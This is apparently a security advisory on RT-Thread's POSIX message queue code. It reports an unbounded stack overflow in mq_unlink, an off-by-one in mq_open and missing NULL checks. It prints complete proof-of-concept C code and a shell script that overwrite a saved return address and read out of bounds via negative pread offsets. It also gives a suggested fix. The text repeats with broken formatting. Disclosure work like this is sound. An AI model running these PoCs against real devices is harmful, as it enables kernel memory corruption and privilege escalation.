Summary
components/libc/posix/ipc/mqueue.c formats the queue name into a fixed
28-byte stack buffer with no length validation:
int mq_unlink(const char *name)
{
if(*name == '/') name++;
const char *mq_path = "/dev/mqueue/";
char mq_name[RT_NAME_MAX + 12] = {0}; /* 16 + 12 = 28 bytes */
rt_sprintf(mq_name, "%s%s", mq_path, name); /* NO length check at all */
return unlink(mq_name);
}
mq_unlink() performs no length check whatsoever: any name longer than
16 characters writes strlen(name) + 13 attacker-controlled bytes into a
28-byte stack frame — an unbounded stack buffer overflow.
mq_open() has the same pattern with an off-by-one: mqueue.c:121 rejects
only strlen(name) > RT_NAME_MAX (=16), so a 16-character name passes and
rt_sprintf writes 12+16+1 = 29 bytes into mq_name[28] — a one-byte
(NUL) stack overwrite.
Two additional defects in the same file (same call path):
mq_open(name, O_CREAT) without the 4th argument dereferences the
uninitialized/absent attr vararg at mqueue.c:139,152-153
(no NULL validation).
fd_get() results are dereferenced without NULL checks at
mqueue.c:62,198,240,300,354,401.
Affected
- Component: POSIX mqueue (
components/libc/posix/ipc/mqueue.c),
compiled when RT_USING_POSIX_MESSAGE_QUEUE + RT_USING_DFS_MQUEUE
- Revision: master
6ea6827
- Entry surface:
mq_open/mq_unlink are RTM_EXPORT public APIs callable
by any thread; /dev/mqueue is auto-mounted at boot (dfs_mqueue.c:234-241).
Reproduction (QEMU, bsp/qemu-vexpress-a9)
PoC application (uses only public APIs):
static void poc_mq(int argc, char **argv)
{
char name[512];
int i;
for (i = 0; i < 200; i++) name[i] = 'M';
name[200] = '\0';
mq_unlink(name); /* 213 bytes into char[28] */
}
MSH_CMD_EXPORT(poc_mq, trigger mq_unlink long-name stack overflow);
Observed (console output followed by the rendered screenshot):
msh />poc_mq
[poc] mq_unlink with 200-char name (buffer is 28 bytes)...
backtrace:
please use: addr2line -e rtthread.elf -a -f 4d4d4d4c
prefetch abort:Execption: ...

The backtrace index 0x4d4d4d4c is the overwritten return address
('MMMM' = 0x4D), demonstrating full control of the saved return address.
Expected result
Names longer than the buffer capacity are rejected (e.g. -ENAMETOOLONG),
attr is validated for NULL, fd_get() results are checked.
Impact
- Attacker model: any application thread calling the exported POSIX mq_*
API — including a compromised or buggy application passing an externally
derived queue name. Under RT_USING_SMART (user-mode applications) this
is an unprivileged-to-kernel escalation; on flat no-MMU builds it is
kernel stack corruption with attacker-controlled content (no stack
protector in default builds).
- Severity: high (unbounded overflow, attacker-controlled bytes and length).
Suggested fix
if (rt_strlen(name) > RT_NAME_MAX)
return -ENAMETOOLONG; /* in BOTH mq_open and mq_unlink */
plus NULL checks for attr and for every fd_get() return value. The
buffer could also be sized from the actual prefix length rather than a
duplicated constant.
Complete PoC source
The full PoC application (bsp/applications/poc.c, English only, uses only
public exported APIs — dfs_mount, mq_unlink, open/write/pread) and the
msh script poc.sh are reproduced here; they are also archived at
REYu6/rt-thread-poc-evidence
together with the rendered console screenshots.
poc.sh (executed on the target as /poc.sh)
mkdir /tmp
poc_mount
mkdir /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
bsp/applications/poc.c
#include <rtthread.h>
/* PoC application: simulates a user application / msh script caller.
* Targets: RT-Thread master 6ea6827, qemu-vexpress-a9 default config. */
extern int dfs_mount(const char *device, const char *path, const char *fs, unsigned long rwflag, void *data);
extern int open(const char *, int, ...);
extern long write(int, const void *, unsigned long);
extern long pread(int, void *, unsigned long, long);
extern int close(int);
extern int mq_unlink(const char *);
static void poc_mount(int argc, char **argv)
{
int r = dfs_mount(RT_NULL, "/tmp", "tmp", 0, RT_NULL);
rt_kprintf("[poc] mount tmpfs on /tmp -> %d (0=ok)\n", r);
}
MSH_CMD_EXPORT(poc_mount, mount tmpfs at /tmp);
static void poc_mq(int argc, char **argv)
{
char name[512];
int i;
for (i = 0; i < 200; i++) name[i] = 'M';
name[200] = '\0';
rt_kprintf("[poc] mq_unlink with 200-char name (buffer is %d bytes)...\n", 16 + 12);
mq_unlink(name);
rt_kprintf("[poc] mq_unlink RETURNED (no crash)\n");
}
MSH_CMD_EXPORT(poc_mq, trigger mq_unlink long-name stack overflow);
static void poc_pread(int argc, char **argv)
{
long off = -64;
int fd;
char buf[40];
long n;
int i;
if (argc > 1) off = atol(argv[1]);
fd = open("/tmp/leak.txt", 2 /*O_RDWR*/ | 0x200 /*O_CREAT*/, 0777);
if (fd < 0) { rt_kprintf("[poc] open failed fd=%d errno=%d\n", fd, (int)rt_get_errno()); return; }
write(fd, "AAAABBBBCCCCDDDD", 16);
rt_memset(buf, 0, sizeof(buf));
rt_kprintf("[poc] pread(fd, buf, 32, %ld) on tmpfs file ...\n", off);
n = pread(fd, buf, 32, off);
rt_kprintf("[poc] pread returned %d bytes:", (int)n);
for (i = 0; i < 32; i++) rt_kprintf(" %02x", (unsigned char)buf[i]);
rt_kprintf("\n[poc] done\n");
close(fd);
}
MSH_CMD_EXPORT(poc_pread, pread negative-offset OOB read demo: poc_pread [offset]);
Build (bsp/qemu-vexpress-a9, unmodified default configuration):
cd bsp/qemu-vexpress-a9
RTT_ROOT=/path/to/rt-thread scons -j8
qemu-system-arm -M vexpress-a9 -kernel rtthread.elf -sd sd.bin -nographic
Summary
components/libc/posix/ipc/mqueue.cformats the queue name into a fixed28-byte stack buffer with no length validation:
mq_unlink()performs no length check whatsoever: any name longer than16 characters writes
strlen(name) + 13attacker-controlled bytes into a28-byte stack frame — an unbounded stack buffer overflow.
mq_open()has the same pattern with an off-by-one:mqueue.c:121rejectsonly
strlen(name) > RT_NAME_MAX(=16), so a 16-character name passes andrt_sprintfwrites 12+16+1 = 29 bytes intomq_name[28]— a one-byte(NUL) stack overwrite.
Two additional defects in the same file (same call path):
mq_open(name, O_CREAT)without the 4th argument dereferences theuninitialized/absent
attrvararg atmqueue.c:139,152-153(no NULL validation).
fd_get()results are dereferenced without NULL checks atmqueue.c:62,198,240,300,354,401.Affected
components/libc/posix/ipc/mqueue.c),compiled when
RT_USING_POSIX_MESSAGE_QUEUE+RT_USING_DFS_MQUEUE6ea6827mq_open/mq_unlinkareRTM_EXPORTpublic APIs callableby any thread;
/dev/mqueueis auto-mounted at boot (dfs_mqueue.c:234-241).Reproduction (QEMU, bsp/qemu-vexpress-a9)
PoC application (uses only public APIs):
Observed (console output followed by the rendered screenshot):
The backtrace index
0x4d4d4d4cis the overwritten return address('MMMM' = 0x4D), demonstrating full control of the saved return address.
Expected result
Names longer than the buffer capacity are rejected (e.g.
-ENAMETOOLONG),attris validated for NULL,fd_get()results are checked.Impact
API — including a compromised or buggy application passing an externally
derived queue name. Under
RT_USING_SMART(user-mode applications) thisis an unprivileged-to-kernel escalation; on flat no-MMU builds it is
kernel stack corruption with attacker-controlled content (no stack
protector in default builds).
Suggested fix
plus NULL checks for
attrand for everyfd_get()return value. Thebuffer could also be sized from the actual prefix length rather than a
duplicated constant.
Complete PoC source
The full PoC application (
bsp/applications/poc.c, English only, uses onlypublic exported APIs —
dfs_mount,mq_unlink,open/write/pread) and themsh script
poc.share reproduced here; they are also archived atREYu6/rt-thread-poc-evidence
together with the rendered console screenshots.
poc.sh (executed on the target as
/poc.sh)bsp/applications/poc.c
Build (
bsp/qemu-vexpress-a9, unmodified default configuration):